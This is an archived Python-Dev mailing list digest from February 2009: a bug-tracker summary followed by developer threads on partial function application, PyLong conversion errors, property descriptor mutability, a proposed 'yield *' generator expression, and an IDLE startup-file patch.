       http://bugs.python.org/issue5149    created  PeterASilva               
                                                                               

IDLE to support reindent.py                                      02/04/09
       http://bugs.python.org/issue5150    created  rhettinger                
                                                                               

extractall method for TarFile objects not setting owner:group on 02/04/09
CLOSED http://bugs.python.org/issue5151    created  npatters                  
                                                                               

Add a JSON-RPC module                                            02/04/09
CLOSED http://bugs.python.org/issue5152    created  rhettinger                
                                                                               

Extra ) in optparse sample                                       02/04/09
CLOSED http://bugs.python.org/issue5153    created  adamvan                   
                                                                               

OSX broken poll testing doesn't work                             02/04/09
       http://bugs.python.org/issue5154    created  bbangert                  
                                                                               

Multiprocessing.Queue created by sub-process fails when used in  02/05/09
       http://bugs.python.org/issue5155    created  bbutler                   
                                                                               

IDLE exits with UnicodeDecodeError on Ctrl+Space                 02/05/09
       http://bugs.python.org/issue5156    created  scav                      
                                                                               

os.stat('foo') succeds if 'foo.exe' exists on cygwin             02/05/09
CLOSED http://bugs.python.org/issue5157    created  calandoa                  
                                                                               

Document distutils 'depends' option for extensions               02/05/09
       http://bugs.python.org/issue5158    created  mbalsera                  
       patch                                                                   

Indicating packages to be loaded when a Tcl interpreter is creat 02/05/09
       http://bugs.python.org/issue5159    created  gpolo                     
       patch                                                                   

Intermittant segmentation fault with ctrl-c (threads and queues) 02/05/09
       http://bugs.python.org/issue5160    created  cgoldberg                 
                                                                               

wrong paths for ctypes cleanup                                   02/06/09
       http://bugs.python.org/issue5161    created  nascheme                  
                                                                               

multiprocessing cannot spawn child from a Windows service        02/06/09
       http://bugs.python.org/issue5162    created  orlenko                   
                                                                               

tkinter.scrolledtext: new text is hidden after using insert()    02/06/09
       http://bugs.python.org/issue5163    created  ringhome                  
                                                                               

backport distutils 3.x changes into 2.7 when appliabl            02/06/09
       http://bugs.python.org/issue5164    created  tarek                     
                                                                               

os.rename and other raise WindowsError                           02/06/09
CLOSED http://bugs.python.org/issue5165    created  krisvale                  
                                                                               

ElementTree and minidom don't prevent creation of not well-forme 02/06/09
       http://bugs.python.org/issue5166    created  ods                       
                                                                               

distutils/test_customize_compiler fails on windows               02/06/09
CLOSED http://bugs.python.org/issue5167    created  ocean-city                
       patch                                                                   

shutil.copystat does not copy the "hidden" flag on windows       02/06/09
       http://bugs.python.org/issue5168    created  throbi                    
                                                                               

Default hash not equal to id on AMD Sempron                      02/06/09
       http://bugs.python.org/issue5169    created  chemacortes               
                                                                               

logging to file + encoding                                       02/06/09
       http://bugs.python.org/issue5170    created  shamilbi                  
                                                                               

itertools.product docstring missing 'repeat' argument            02/06/09
       http://bugs.python.org/issue5171    created  marketdickinson           
                                                                               



Issues Now Closed (54)
______________________

Distutils add ability to skip build [Feature Request]             387 days
       http://bugs.python.org/issue1815    tarek                     
                                                                               

Update version number in __init__.py                              388 days
       http://bugs.python.org/issue1835    lemburg                   
       easy                                                                    

__import__ with fromlist=[''] causes double initialization of mo  356 days
       http://bugs.python.org/issue2090    brett.cannon              
                                                                               

distutils package_dir/package_data failure                        248 days
       http://bugs.python.org/issue3031    tarek                     
                                                                               

socket.socket.recv broken (unbearably slow)                       154 days
       http://bugs.python.org/issue3766    samslists                 
                                                                               

removed types from distutils.core [patch]                         131 days
       http://bugs.python.org/issue3987    tarek                     
       patch                                                                   

python tests failure if builddir <> sourcedir                     121 days
       http://bugs.python.org/issue4070    nascheme                  
       patch                                                                   

update SIG web pages                                              111 days
       http://bugs.python.org/issue4137    georg.brandl              
                                                                               

Separate build dir broken                                         108 days
       http://bugs.python.org/issue4151    nascheme                  
       patch                                                                   

Use a named tuple for sys.version_info                             89 days
       http://bugs.python.org/issue4285    eric.smith                
       patch, easy                                                             

Python 2.6 fails to build with Py_NO_ENABLE_SHARED                 62 days
       http://bugs.python.org/issue4494    loewis                    
       patch                                                                   

Wrong formatting of contributor list in About page                 61 days
       http://bugs.python.org/issue4563    georg.brandl              
                                                                               

wsgiref package totally broken                                     28 days
       http://bugs.python.org/issue4718    benjamin.peterson         
       patch                                                                   

Object allocation stress leads to segfault on RHEL                 44 days
       http://bugs.python.org/issue4732    farshad                   
                                                                               

cmp gone documentations                                            39 days
       http://bugs.python.org/issue4760    georg.brandl              
                                                                               

ctypes.util.find_library incorrectly documented                    33 days
       http://bugs.python.org/issue4820    georg.brandl              
                                                                               

optparse: Callback example 1 is confusing                          32 days
       http://bugs.python.org/issue4827    georg.brandl              
                                                                               

Allow buffering for HTTPResponse                                   26 days
       http://bugs.python.org/issue4879    krisvale                  
       patch, patch                                                            

binascii.crc32() - document signed vs unsigned results             21 days
       http://bugs.python.org/issue4903    gregory.p.smith           
                                                                               

update distutils.README                                            18 days
       http://bugs.python.org/issue4987    tarek                     
                                                                               

yield's documentation not updated                                  18 days
       http://bugs.python.org/issue4992    georg.brandl              
                                                                               

The Py_SetPythonHome C API function is undocumented                16 days
       http://bugs.python.org/issue5015    georg.brandl              
                                                                               

Thread.daemon docs                                                 14 days
       http://bugs.python.org/issue5031    georg.brandl              
       patch, needs review                                                     

xml.parsers.expat make a dictionary which keys are broken if buf    8 days
       http://bugs.python.org/issue5036    benjamin.peterson         
                                                                               

Policy.DomainStrict in cookielib example code                      11 days
       http://bugs.python.org/issue5059    georg.brandl              
                                                                               

Distutils should create install dir if needed                       7 days
       http://bugs.python.org/issue5070    tarek                     
                                                                               

Distutils should not fail if install dir is not in PYTHONPATH       7 days
       http://bugs.python.org/issue5071    tarek                     
                                                                               

weird memory usage in multiprocessing module                        2 days
       http://bugs.python.org/issue5092    LambertDW                 
                                                                               

strange thing after call PyObject_CallMethod                        7 days
       http://bugs.python.org/issue5096    georg.brandl              
                                                                               

sqlite3.Row class, handling duplicate column names resulting fro    7 days
       http://bugs.python.org/issue5105    georg.brandl              
                                                                               

Update Naming & Binding statement for 3.0                           1 days
       http://bugs.python.org/issue5106    benjamin.peterson         
                                                                               

built-in open(..., encoding=vague_default)                          6 days
       http://bugs.python.org/issue5107    georg.brandl              
                                                                               

Incorrect documentation for PyErr_BadInternalCall                   1 days
       http://bugs.python.org/issue5112    benjamin.peterson         
                                                                               

'%.2f' % 2.545 doesn't round correctly                              0 days
       http://bugs.python.org/issue5118    marketdickinson           
                                                                               

wide character parameter handling in ctypes                         3 days
       http://bugs.python.org/issue5119    amaury.forgeotdarc        
                                                                               

Disabling test_ttk_guionly on mac                                   1 days
       http://bugs.python.org/issue5120    gpolo                     
                                                                               

Virus found in python-3.0.msi                                       1 days
       http://bugs.python.org/issue5123    gpolo                     
                                                                               

Obsolete reference to "unicode" in glossary                         3 days
       http://bugs.python.org/issue5130    georg.brandl              
                                                                               

distutils: libpython not found when building python extensions o    3 days
       http://bugs.python.org/issue5132    tarek                     
       patch                                                                   

Error with Eval                                                     0 days
       http://bugs.python.org/issue5133    ezio.melotti              
                                                                               

Some Built-in Functions entries in Library Manual are missing Pe    2 days
       http://bugs.python.org/issue5140    georg.brandl              
                                                                               

PySys_SetArgv has wrong documentation                               2 days
       http://bugs.python.org/issue5144    georg.brandl              
                                                                               

extractall method for TarFile objects not setting owner:group on    0 days
       http://bugs.python.org/issue5151    lars.gustaebel            
                                                                               

Add a JSON-RPC module                                               1 days
       http://bugs.python.org/issue5152    rhettinger                
                                                                               

Extra ) in optparse sample                                          1 days
       http://bugs.python.org/issue5153    georg.brandl              
                                                                               

os.stat('foo') succeds if 'foo.exe' exists on cygwin                1 days
       http://bugs.python.org/issue5157    calandoa                  
                                                                               

os.rename and other raise WindowsError                              0 days
       http://bugs.python.org/issue5165    krisvale                  
                                                                               

distutils/test_customize_compiler fails on windows                  0 days
       http://bugs.python.org/issue5167    tarek                     
       patch                                                                   

Set option for subprocess in setup.py                            1925 days
       http://bugs.python.org/issue831643  tarek                     
                                                                               

list(obj) can swallow KeyboardInterrupt                           199 days
       http://bugs.python.org/issue1242657 rhettinger                
       patch                                                                   

dirutils.mkpath (verbose option does not work)                   1255 days
       http://bugs.python.org/issue1276768 tarek                     
                                                                               

Distutils bugfix: Read $AR from the environment/Makefile.         940 days
       http://bugs.python.org/issue1520877 tarek                     
       patch                                                                   

Text search gives bad count if called from variable trace         836 days
       http://bugs.python.org/issue1581476 gpolo                     
       patch                                                                   

Give Partial the ability to skip positionals                      652 days
       http://bugs.python.org/issue1706256 jpe                       
                                                                               



Top Issues Most Discussed (10)
______________________________

 35 Python on Windows disables all C runtime library assertions       36 days
open    http://bugs.python.org/issue4804   

 13 Expose simplegeneric function in functools module                  4 days
open    http://bugs.python.org/issue5135   

 13 UnicodeEncodeError - I can't even see license                      5 days
open    http://bugs.python.org/issue5127   

 13 Add Google's ipaddr.py to the stdlib                             135 days
open    http://bugs.python.org/issue3959   

 10 Add combinatoric counting functions to the math module.            4 days
open    http://bugs.python.org/issue5139   

 10 xml.sax and xml.dom fetch DTDs by default                        357 days
open    http://bugs.python.org/issue2124   

  9 compileall: consider ctime                                         4 days
open    http://bugs.python.org/issue5128   

  9 Faster opcode dispatch on gcc                                     42 days
open    http://bugs.python.org/issue4753   

  9 tkinter memory leak problem                                      612 days
open    http://bugs.python.org/issue1731706

  8 Compiler warnings in sqlite module                                 4 days
open    http://bugs.python.org/issue5134   




From catch-all at masklinn.net  Fri Feb  6 18:24:38 2009
From: catch-all at masklinn.net (Xavier Morel)
Date: Fri, 6 Feb 2009 18:24:38 +0100
Subject: [Python-Dev] Partial function application 'from the right'
In-Reply-To: <498B6E3E.8020309@pearwood.info>
References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com><43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com><loom.20090203T195152-727@post.gmane.org>	<43aa6ff70902031247g6c271119t3ba8fd45814c626d@mail.gmail.com>
	<E83B20312E264DAE9B95120EF9E6D79E@RaymondLaptop1>
	<498B6E3E.8020309@pearwood.info>
Message-ID: <F6E2CD69-42AC-4FDB-9782-FBBF9EAE66F6@masklinn.net>

On 5 Feb 2009, at 23:54 , Steven D'Aprano wrote:
> Raymond Hettinger wrote:
>
>>>> The arguments for and against the patch could be brought against  
>>>> partial()
>>>> itself, so I don't understand the -1's at all.
>>>
>>> Quite so, but that doesn't justify adding more capabilities to  
>>> partial().
>> I concur with Collin.  Lever arguments are a road to bloat.
>
> One person's "bloat" is another person's rich and complete toolbox.
>
> > "In for a penny, in for a pound" is not a language design principle.
>
> Neither are "slippery slope" arguments.
>
>> One of the real problems with partial() and its variants is that  
>> they provide almost no advantage over an equivalent lambda.
>
> How about speed? I don't have a recent version of Python here to  
> test, but my recollection is that partial is significantly faster  
> than lambda. And even if it currently isn't, there could be (is?)  
> more opportunity to optimize partial.
>
> I guess that the voting on this is going to be fall along functional  
> lines: those who like functional languages will vote +1 on partial  
> and co, and those who don't will vote -1.
>
> While I don't dislike partial(), I'd rather see one good use-case  
> for partial_right() to be removed: built-ins that don't accept  
> keywords. From Ben North's post starting this thread:
>
> "I find 'functools.partial' useful, but occasionally I'm unable to  
> use it because it lacks a 'from the right' version.  E.g., to create  
> a function which splits a string on commas, you can't say
>
>   # Won't work when called:
>   split_comma = partial(str.split, sep = ',')
>
> and to create a 'log to base 10' function, you can't say
>
>   # Won't work when called:
>   log_10 = partial(math.log, base = 10.0)
>
> because str.split and math.log don't take keyword arguments."
>
Wouldn't a `flip` function (reverse the order of the function's  
arguments) be more flexible and general than a `partial_right` one?

Your first case would become

   # we're not ignoring any argument, so we have to provide `maxsplit`
   split_comma = partial(flip(str.split), None, ',')

and the second one would yield

   log_10 = partial(flip(math.log), 10.0)

and if we only want to fill-in the rightmost argument, we can flip the  
result to get the original order back:

   split_5 = flip(partial(flip(str.split), 5))

While better kwargs support would be even better, there probably  
always will be kwarg-less functions/methods, so the ability to  
partially apply from the right stays interesting.

From dalcinl at gmail.com  Fri Feb  6 22:04:44 2009
From: dalcinl at gmail.com (Lisandro Dalcin)
Date: Fri, 6 Feb 2009 19:04:44 -0200
Subject: [Python-Dev] negative PyLong integer -> unsigned integer,
	TypeError or 	OverflowError?
Message-ID: <e7ba66e40902061304x7f74224are459d33750cf2cab@mail.gmail.com>

While hacking on Cython to make it recognize 'size_t' as a pre-defined
C integral type, I've found somethig that seems to be (pretty small)
inconsistency.

At Objects/longobject.c, you should see that in almost all cases
OverflowError is raised when a unsigned integral is requested from a
negative PyLong. However, See this one:

int
_PyLong_AsByteArray(PyLongObject* v,
                   unsigned char* bytes, size_t n,
                   int little_endian, int is_signed)
{
<...>
               if (!is_signed) {
                       PyErr_SetString(PyExc_TypeError,
                               "can't convert negative long to unsigned");
                       return -1;
               }
<...>
}

Does it make sense to change that code to raise OverflowError?


-- 
Lisandro Dalc?n
---------------
Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC)
Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC)
Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET)
PTLC - G?emes 3450, (3000) Santa Fe, Argentina
Tel/Fax: +54-(0)342-451.1594

From dickinsm at gmail.com  Fri Feb  6 22:25:26 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Fri, 6 Feb 2009 21:25:26 +0000
Subject: [Python-Dev] negative PyLong integer -> unsigned integer,
	TypeError or OverflowError?
In-Reply-To: <e7ba66e40902061304x7f74224are459d33750cf2cab@mail.gmail.com>
References: <e7ba66e40902061304x7f74224are459d33750cf2cab@mail.gmail.com>
Message-ID: <5c6f2a5d0902061325n60fab329hb7653c69893603cc@mail.gmail.com>

On Fri, Feb 6, 2009 at 9:04 PM, Lisandro Dalcin <dalcinl at gmail.com> wrote:
> At Objects/longobject.c, you should see that in almost all cases
> OverflowError is raised when a unsigned integral is requested from a
> negative PyLong. However, See this one:
> [...]
>               if (!is_signed) {
>                       PyErr_SetString(PyExc_TypeError,
>                               "can't convert negative long to unsigned");
>                       return -1;
>               }

I agree that TypeError seems wrong here.

Please could you file a bug report at bugs.python.org?

Mark

From curt at hagenlocher.org  Fri Feb  6 23:44:33 2009
From: curt at hagenlocher.org (Curt Hagenlocher)
Date: Fri, 6 Feb 2009 14:44:33 -0800
Subject: [Python-Dev] Are property descriptors intended to be immutable?
Message-ID: <d2155e360902061444w2254d738u69159e2eb7cc4140@mail.gmail.com>

...because they're not quite :).  Should I file this as a bug report?
(I get the same results under 2.6 and 3.0.)

PS C:\Program Files (x86)\CCP\EVE> C:\Python25\python.exe
Python 2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> class x(object):
...     @property
...     def foo(self): return 1
...
>>> inst = x()
>>> inst.foo
1
>>> x.foo.__init__(lambda self: 2)
>>> inst.foo
2
>>> ^Z

--
Curt Hagenlocher
curt at hagenlocher.org

From dalcinl at gmail.com  Sat Feb  7 00:38:53 2009
From: dalcinl at gmail.com (Lisandro Dalcin)
Date: Fri, 6 Feb 2009 20:38:53 -0300
Subject: [Python-Dev] negative PyLong integer -> unsigned integer,
	TypeError or OverflowError?
In-Reply-To: <5c6f2a5d0902061325n60fab329hb7653c69893603cc@mail.gmail.com>
References: <e7ba66e40902061304x7f74224are459d33750cf2cab@mail.gmail.com>
	<5c6f2a5d0902061325n60fab329hb7653c69893603cc@mail.gmail.com>
Message-ID: <e7ba66e40902061538u15b0f74bu9b9acaefe85954f1@mail.gmail.com>

Done, http://bugs.python.org/issue5175



On Fri, Feb 6, 2009 at 6:25 PM, Mark Dickinson <dickinsm at gmail.com> wrote:
> On Fri, Feb 6, 2009 at 9:04 PM, Lisandro Dalcin <dalcinl at gmail.com> wrote:
>> At Objects/longobject.c, you should see that in almost all cases
>> OverflowError is raised when a unsigned integral is requested from a
>> negative PyLong. However, See this one:
>> [...]
>>               if (!is_signed) {
>>                       PyErr_SetString(PyExc_TypeError,
>>                               "can't convert negative long to unsigned");
>>                       return -1;
>>               }
>
> I agree that TypeError seems wrong here.
>
> Please could you file a bug report at bugs.python.org?
>
> Mark
>



-- 
Lisandro Dalc?n
---------------
Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC)
Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC)
Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET)
PTLC - G?emes 3450, (3000) Santa Fe, Argentina
Tel/Fax: +54-(0)342-451.1594

From guido at python.org  Sat Feb  7 01:04:22 2009
From: guido at python.org (Guido van Rossum)
Date: Fri, 6 Feb 2009 16:04:22 -0800
Subject: [Python-Dev] Are property descriptors intended to be immutable?
In-Reply-To: <d2155e360902061444w2254d738u69159e2eb7cc4140@mail.gmail.com>
References: <d2155e360902061444w2254d738u69159e2eb7cc4140@mail.gmail.com>
Message-ID: <ca471dc20902061604l5e039588ue0c9727dace4a801@mail.gmail.com>

On Fri, Feb 6, 2009 at 2:44 PM, Curt Hagenlocher <curt at hagenlocher.org> wrote:
> ...because they're not quite :).  Should I file this as a bug report?
> (I get the same results under 2.6 and 3.0.)
>
> PS C:\Program Files (x86)\CCP\EVE> C:\Python25\python.exe
> Python 2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit
> (Intel)] on win32
> Type "help", "copyright", "credits" or "license" for more information.
>>>> class x(object):
> ...     @property
> ...     def foo(self): return 1
> ...
>>>> inst = x()
>>>> inst.foo
> 1
>>>> x.foo.__init__(lambda self: 2)
>>>> inst.foo
> 2
>>>> ^Z

No, this is just how it works. I hope they aren't documented as immuable?

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From dickinsm at gmail.com  Sat Feb  7 09:05:22 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Sat, 7 Feb 2009 08:05:22 +0000
Subject: [Python-Dev] negative PyLong integer -> unsigned integer,
	TypeError or OverflowError?
In-Reply-To: <e7ba66e40902061538u15b0f74bu9b9acaefe85954f1@mail.gmail.com>
References: <e7ba66e40902061304x7f74224are459d33750cf2cab@mail.gmail.com>
	<5c6f2a5d0902061325n60fab329hb7653c69893603cc@mail.gmail.com>
	<e7ba66e40902061538u15b0f74bu9b9acaefe85954f1@mail.gmail.com>
Message-ID: <5c6f2a5d0902070005ud586b86p235df7dca3a57971@mail.gmail.com>

On Fri, Feb 6, 2009 at 11:38 PM, Lisandro Dalcin <dalcinl at gmail.com> wrote:
> Done, http://bugs.python.org/issue5175

Thank you!

Mark

From greg.ewing at canterbury.ac.nz  Sat Feb  7 10:04:29 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 07 Feb 2009 22:04:29 +1300
Subject: [Python-Dev] yield * (Re:  Missing operator.call)
In-Reply-To: <ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
Message-ID: <498D4E9D.6070405@canterbury.ac.nz>

Guido van Rossum wrote:

> It would be way too confusing to have "a different form of call" with
> totally different semantics that nevertheless used the same
> *terminology* as is used for regular calls.

I expect you're right, so I won't argue for calling
it "call" any more.

I'd still like to find a good name for it, though.
The other important thing is that my proposed construct
should be usable as an expression, and its value
should be whatever is returned by the called generator
when it exits. E.g. if we continue spelling it
"yield *" for the moment, then

   def f():
     v = yield *g()
     print v

   def g():
     yield 42
     return "spam"

   for x in f():
     pass

should end up printing "spam".

Would you entertain the idea of a "yield *" expression
with those semantics?

-- 
Greg

From metawilm at gmail.com  Sat Feb  7 10:31:35 2009
From: metawilm at gmail.com (Willem Broekema)
Date: Sat, 7 Feb 2009 10:31:35 +0100
Subject: [Python-Dev] yield * (Re: Missing operator.call)
In-Reply-To: <498D4E9D.6070405@canterbury.ac.nz>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
	<498D4E9D.6070405@canterbury.ac.nz>
Message-ID: <f6bc9b490902070131q171671d0x216c0c15c7a53ca@mail.gmail.com>

On Sat, Feb 7, 2009 at 10:04 AM, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote:
>  def f():
>    v = yield *g()
>    print v
>
>  def g():
>    yield 42
>    return "spam"

Function g violates the current limitation that generators can't
return with a value. So can g only be used using "yield *" then, or
would that limitation be removed?

- Willem

From curt at hagenlocher.org  Sat Feb  7 18:41:05 2009
From: curt at hagenlocher.org (Curt Hagenlocher)
Date: Sat, 7 Feb 2009 09:41:05 -0800
Subject: [Python-Dev] Are property descriptors intended to be immutable?
In-Reply-To: <ca471dc20902061604l5e039588ue0c9727dace4a801@mail.gmail.com>
References: <d2155e360902061444w2254d738u69159e2eb7cc4140@mail.gmail.com>
	<ca471dc20902061604l5e039588ue0c9727dace4a801@mail.gmail.com>
Message-ID: <d2155e360902070941i37353e76ya242bfcf1bc00976@mail.gmail.com>

On Fri, Feb 6, 2009 at 4:04 PM, Guido van Rossum <guido at python.org> wrote:
> On Fri, Feb 6, 2009 at 2:44 PM, Curt Hagenlocher <curt at hagenlocher.org> wrote:
>> ...because they're not quite :).  Should I file this as a bug report?
>
> No, this is just how it works. I hope they aren't documented as immuable?

Not that I know of :).  But the individual properties of the
descriptor are all read-only and that the implementations of setter,
getter and deleter return new objects instead of mutating and
returning the old descriptor.  So it seemed a little odd that there
was just one way remaining in which the object could be mutated.

(I'm a recent convert to the joys of immutability. :)

--
Curt Hagenlocher
curt at hagenlocher.org

From guido at python.org  Sat Feb  7 19:23:20 2009
From: guido at python.org (Guido van Rossum)
Date: Sat, 7 Feb 2009 10:23:20 -0800
Subject: [Python-Dev] Are property descriptors intended to be immutable?
In-Reply-To: <d2155e360902070941i37353e76ya242bfcf1bc00976@mail.gmail.com>
References: <d2155e360902061444w2254d738u69159e2eb7cc4140@mail.gmail.com>
	<ca471dc20902061604l5e039588ue0c9727dace4a801@mail.gmail.com>
	<d2155e360902070941i37353e76ya242bfcf1bc00976@mail.gmail.com>
Message-ID: <ca471dc20902071023s513c93c7i104f48f6d901248a@mail.gmail.com>

On Sat, Feb 7, 2009 at 9:41 AM, Curt Hagenlocher <curt at hagenlocher.org> wrote:
> On Fri, Feb 6, 2009 at 4:04 PM, Guido van Rossum <guido at python.org> wrote:
>> On Fri, Feb 6, 2009 at 2:44 PM, Curt Hagenlocher <curt at hagenlocher.org> wrote:
>>> ...because they're not quite :).  Should I file this as a bug report?
>>
>> No, this is just how it works. I hope they aren't documented as immuable?
>
> Not that I know of :).  But the individual properties of the
> descriptor are all read-only and that the implementations of setter,
> getter and deleter return new objects instead of mutating and
> returning the old descriptor.  So it seemed a little odd that there
> was just one way remaining in which the object could be mutated.

You're basically using an "API" that wasn't meant to be invoked
directly. I don't particularly care that properties can be mutated,
but I don't really care that they should be 100% immutable either. IMO
it's enough that the APIs that exist to be used explicitly don't
modify the property in place; getter and friends return a new object
so that you can override or extend a property in a subclass, and there
obviously you don't want to mutate the base class.

In the balance I'd say that the "backdoor" you found is probably
harmless, and perhaps someone can find a good use for it, so I'm
disinclined to "fix" this.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From guido at python.org  Sat Feb  7 19:25:54 2009
From: guido at python.org (Guido van Rossum)
Date: Sat, 7 Feb 2009 10:25:54 -0800
Subject: [Python-Dev] yield * (Re: Missing operator.call)
In-Reply-To: <498D4E9D.6070405@canterbury.ac.nz>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
	<498D4E9D.6070405@canterbury.ac.nz>
Message-ID: <ca471dc20902071025l15084e2bu4fa12fa8657fa56d@mail.gmail.com>

We already have yield expressions and they mean something else...

On Sat, Feb 7, 2009 at 1:04 AM, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote:
> Guido van Rossum wrote:
>
>> It would be way too confusing to have "a different form of call" with
>> totally different semantics that nevertheless used the same
>> *terminology* as is used for regular calls.
>
> I expect you're right, so I won't argue for calling
> it "call" any more.
>
> I'd still like to find a good name for it, though.
> The other important thing is that my proposed construct
> should be usable as an expression, and its value
> should be whatever is returned by the called generator
> when it exits. E.g. if we continue spelling it
> "yield *" for the moment, then
>
>  def f():
>    v = yield *g()
>    print v
>
>  def g():
>    yield 42
>    return "spam"
>
>  for x in f():
>    pass
>
> should end up printing "spam".
>
> Would you entertain the idea of a "yield *" expression
> with those semantics?
>
> --
> Greg
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From MLMLists at Comcast.net  Sat Feb  7 20:09:18 2009
From: MLMLists at Comcast.net (Mitchell L Model)
Date: Sat, 7 Feb 2009 14:09:18 -0500
Subject: [Python-Dev] IDLE reading IDLESTARTUP or PYTHONSTARTUP on restart
Message-ID: <p06240800c5b386cd54bf@[10.0.1.221]>

I have a small change (shown below) to PyShell.py in idlelib that 
causes the subprocess interpreter to read IDLESTARTUP or 
PYTHONSTARTUP each time it restarts. To me this would make IDLE much 
more useful for myself and students I teach.  It isn't quite clear 
what behavior to install with the enabling patch, so I would like 
some feedback before submitting it. The main question is:

Shouldn't IDLE always read IDLESTARTUP (if defined) or PYTHONSTARTUP 
(if IDLESTARTUP is not defined and PYTHONSTARTUP is) when it starts 
rather than that requiring a command-line switch as it does now? This 
is the behavior of python, and I don't see why it should be any 
different for IDLE. More importantly, there is no convenient way to 
say "and read my startup file" when double-clicking the IDLE icon. 
(I'm on a Mac. On Windows the -s switch could be added to an icon for 
IDLE, but that's still awkward.)

Secondary questions;

If IDLE is changed to read a startup file, should the -s switch be 
dropped altogether? If so, should a -q switch be added (as with 
emacs) to start without loading the startup file? I think yes to both.

When the subprocess interpreter is restarted should it look in the 
environment for the current values of IDLESTARTUP and PYTHONSTARTUP, 
or should IDLE store those values in a property of the subprocess 
interpreter when first started and have restart go directly to the 
saved path even if the value of IDLESTARTUP or PYTHONSTARTUP has 
changed since IDLE had been started. I think restart should go to the 
path as it was when IDLE was started and ignore subsequent changes. 
Or at least the reststart should notice the change and present a 
dialog asking the user to choose between the old path and the new one.


The diff modifies PyShell by copying the four lines of code that load 
IDLESTARTUP or PYTHONSTARTUP from where they appear in the initial 
startup code and adding to where the subprocess interpreter writes 
"RESTART" to the console.

@@ -434,6 +434,10 @@
          console.write(halfbar + ' RESTART ' + halfbar)
          console.text.mark_set("restart", "end-1c")
          console.text.mark_gravity("restart", "left")
+        filename = os.environ.get("IDLESTARTUP") or \
+                   os.environ.get("PYTHONSTARTUP")
+        if filename and os.path.isfile(filename):
+            self.execfile(filename)
          console.showprompt()
          # restart subprocess debugger
          if debug:
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090207/c8985725/attachment.htm>

From greg.ewing at canterbury.ac.nz  Sat Feb  7 21:16:11 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sun, 08 Feb 2009 09:16:11 +1300
Subject: [Python-Dev] yield * (Re: Missing operator.call)
In-Reply-To: <f6bc9b490902070131q171671d0x216c0c15c7a53ca@mail.gmail.com>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
	<498D4E9D.6070405@canterbury.ac.nz>
	<f6bc9b490902070131q171671d0x216c0c15c7a53ca@mail.gmail.com>
Message-ID: <498DEC0B.7030903@canterbury.ac.nz>

Willem Broekema wrote:

> Function g violates the current limitation that generators can't
> return with a value. So can g only be used using "yield *" then, or
> would that limitation be removed?

The limitation would be removed, in the interests
of making it easier to use generators as coroutines.

-- 
Greg

From ironfroggy at gmail.com  Sat Feb  7 21:26:32 2009
From: ironfroggy at gmail.com (Calvin Spealman)
Date: Sat, 7 Feb 2009 15:26:32 -0500
Subject: [Python-Dev] yield * (Re: Missing operator.call)
In-Reply-To: <498DEC0B.7030903@canterbury.ac.nz>
References: <498991D9.3060407@avl.com> <498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
